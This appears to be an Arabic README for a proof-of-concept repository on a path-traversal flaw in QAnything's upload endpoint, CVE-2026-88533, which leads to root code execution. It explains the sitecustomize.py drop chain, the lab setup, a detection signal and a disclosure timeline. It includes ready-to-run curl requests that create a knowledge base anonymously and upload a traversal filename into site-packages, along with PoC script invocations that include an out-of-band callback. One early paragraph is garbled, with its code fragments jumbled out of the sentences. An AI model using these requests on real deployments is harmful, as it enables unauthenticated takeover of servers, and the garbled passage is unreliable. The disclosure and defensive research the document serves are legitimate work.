
PoC وإعادة إنتاج مخبرية لـ CVE-2026-88533، وهو كتابة ملفات عشوائية بدون مصادقة تؤدي إلى تنفيذ أوامر عن بُعد بصلاحيات الجذر (root RCE) في QAnything عبر اجتياز المسار في نقطة نهاية الرفع.
معرّف CVE: CVE-2026-88533 (مُخصَّص من MITRE، نشر السجل قيد الانتظار)
المنتج: QAnything من netease-youdao — منصة مفتوحة المصدر للأسئلة والأجوبة على قواعد المعرفة / RAG
المتأثر: الإصدارات v1.4.x حتى v2.0.0 (الفرع الافتراضي qanything-v2، حتى الالتزام الأخير 65de104)
الإصدار المُصلَّح: لا يوجد — المشروع غير مُصان منذ 2025-03-12؛ إصلاح التنقية الوحيد (PR #483) موجود على الفرع القديم master ولم يُدمج أبدًا في qanything-v2
نوع الثغرة: CWE-22 اجتياز المسار
التأثير: إنشاء ملفات عشوائية بدون مصادقة ← تنفيذ أوامر عن بُعد بصلاحيات uid=0(root)
المكتشف: Yankui Li
نقطة نهاية رفع الملفات POST /api/local_doc_qa/upload_files تأخذ قيمة متعددة الأجزاء
التي يتحكم بها المهاجم وتستخدمها كمسار الوجهة دون تنقية فواصل المسار.
تقوم بفك ترميز إلى ، وتصفية الأحرف كاملة العرض
واقتطاع الطول تُبقي على والمسارات المطلقة سليمة، كما أن
. الأمر الناتج
يكتب محتوى يتحكم به المهاجم في أي مكان يمكن للعملية الوصول إليه — داخل حاوية افتراضيًا.
filenameurllib.parse.unquote()%2f/../os.path.join(base, name)name مسارًا مطلقًاopen(file_location, "wb")rootولأن المنتج لا يتطلب أي مصادقة في أي مكان (user_id/user_info مجرد
معاملات طلب عادية)، فإن أي نسخة يمكن الوصول إليها عبر الشبكة تقبل هذا بشكل مجهول.
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
خاصيتان تجعلان هذا قابلًا للاستغلال بشكل موثوق:
../.%2e%2e%2f ينجو لأن unquote يعمل قبل أي تصفية.مثال على التقوية داخل نفس قاعدة الكود: نقطة نهاية upload_faqs تستبدل / بـ _ في
أسماء الملفات. أما upload_files فلم تحصل على هذه المعالجة أبدًا، مما يجعلها ناقل الكتابة الوحيد.
ملاحظة: يحتوي LocalFile.__init__ على حارس if not os.path.exists(file_location)، لذا
يمكن إنشاء ملفات جديدة فقط — لا يمكن الكتابة فوق الملفات الموجودة. لذلك يستهدف
الاستغلال ملفات جديدة في مواقع قابلة للتنفيذ.
صورة Docker الرسمية تشغّل الواجهة الخلفية بلغة Python بصلاحيات root. يستورد CPython تلقائيًا
sitecustomize.py من site-packages عند بدء تشغيل المفسّر — ملف جديد يُسقَط في:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7×../ نسبيًا، أو مسار مطلق) يُستورد في المرة التالية التي تبدأ فيها الواجهة الخلفية، مما ينفّذ
كود المهاجم بصلاحيات uid=0(root).
لماذا
site-packagesوليس دليل التطبيق؟ يشغّل CPython ملفsite.pyقبل إدراجsys.path[0]، لذا فإنsitecustomize.pyبجوار سكربت الدخول لا يُستورد تلقائيًا.site-packagesهو منطقة الإسقاط الموثوقة الوحيدة.
تم اختبار نواقل أخرى واستبعادها (موثّقة للاكتمال):
/etc/cron.d/ — الدليل موجود ويقبل الكتابة، لكن الصورة لا تحتوي على أي خادم cron، لذا لا شيء ينفّذ الحمولة أبدًا.الصورة الرسمية + المصدر الضعيف المثبّت (الالتزام 65de104):
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
سكربت PoC مُضمَّن في هذا المستودع (poc_qanything_cve_2026_88533.py) — كل
عنصر إثبات أدناه تم إنتاجه بتشغيله ضد حزمة المختبر أعلاه. استنسخ وأعد
إنتاج المخرجات نفسها بنفسك:
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full يعيد تشغيل الحاوية الهدف مرة واحدة (سلوك موثّق؛ استيراد CPython
يُفعَّل عند بدء التشغيل). كل شيء يُشحن آمنًا افتراضيًا: لا reverse shell، ولا
حمولة مدمّرة — الحمولة التجريبية تكتب ملف علامة يحتوي على مخرجات id.
الهجوم بأكمله عبارة عن طلبي HTTP POST؛ هذا ما يجب أن يطابقه محتوى الكشف
(قيمة filename متعددة الأجزاء التي تحمل مسارًا مطلقًا أو تسلسلات ..//%2f هي الإشارة الأساسية):
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
كل الإثباتات أدناه هي المخرجات الفعلية للطرفية من poc_qanything_cve_2026_88533.py
(السكربت في هذا المستودع) عند تشغيله ضد حزمة المختبر المبنية من
docker-compose-lab.yaml. لم يتم تزييف أو محاكاة أي خطوة — يخرج السكربت بقيمة غير صفرية
ما لم تنجح كل الفحوصات، لذا يمكنك التحقق من السلسلة من البداية إلى النهاية بنفسك.
حزمة المختبر — الصورة الرسمية + الحد الأدنى من التبعيات، جميع الحاويات سليمة:

--mode check — تأكيد بدائي للكتابة بدون مصادقة: كُتبت العلامة خارج
دليل الرفع عبر اسم ملف متعدد الأجزاء بمسار مطلق وتمت قراءتها من داخل الحاوية:

--mode full — بعد إعادة تشغيل الحاوية، يستورد CPython تلقائيًا
sitecustomize.py المزروع؛ علامة الحمولة تثبت التنفيذ بصلاحيات uid=0(root):

كما تم تضمين النص الكامل لمخرجات الطرفية لتشغيل --mode full الموضح أعلاه،
حرفيًا: evidence/full-chain-run-2026-09-18.log —
6/6 فحوصات [OK]، الحكم RCE CONFIRMED، علامة الحمولة تثبت uid=0(root) مع
طابع زمني (قيم nonce/kb_id في السجل تُولَّد عشوائيًا لكل تشغيل، لذا
سيختلف تشغيلك الخاص — وهذا متوقع).
سيتم إضافة لقطة شاشة لصفحة سجل CVE بمجرد نشر السجل.
| التاريخ | الحدث |
|---|---|
| 2026-08-25 | اكتشاف الثغرة؛ التحقق من البدائي للكتابة ضد نسخة حية (علامة غير ضارة + قراءة عكسية) |
| 2026-08-29 | إعادة إنتاج سلسلة RCE الكاملة في مختبر محلي معزول؛ كتابة التقرير؛ تقديمه إلى MITRE (CNA-LR) عبر cveform |
| 2026-09-18 | تعيين CVE-2026-88533 من قبل MITRE |
| غير محدد | نشر سجل CVE؛ إصدار هذا المستودع وكتابة تفصيلية |
تُنشر هذه المواد لأغراض البحث الدفاعي والتعليم. استخدمها فقط ضد الأنظمة التي تملكها أو لديك تفويض كتابي صريح لاختبارها. راجع DISCLAIMER.md.